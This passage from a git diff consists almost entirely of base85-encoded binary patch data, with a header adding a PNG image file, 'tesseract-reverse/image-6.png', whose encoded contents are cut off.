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 literal 0 HcmV?d00001 diff --git a/tesseract-reverse/image-6.png b/tesseract-reverse/image-6.png new file mode 100644 index 0000000000000000000000000000000000000000..097b94d0c3c94b448023d0198a43df1255f2e22e GIT binary patch literal 59810 zcmce-XEa=4-#$v3C_xA!h=_<@61`3c6212x(IR>eW>SbCNTSz?PSofOMu{Fhh&pQY zHfAtm%Gr|VeV_k_^X05_*4b;#viH5WeV2Wg>vvt(9jUAR7l*t~# zjcb}yaB<}!G5%*HU)kmq0vaH1LoSXmV(_y(W4|4vl75`flwC%3Ji76UBxfu}i3Vtp zk21O&iXiE1B0F$FLV|i@`Z8(qw%k{;vhrFpyaoyOq5#ms=f_8p%8`qI&qO*NWt06q 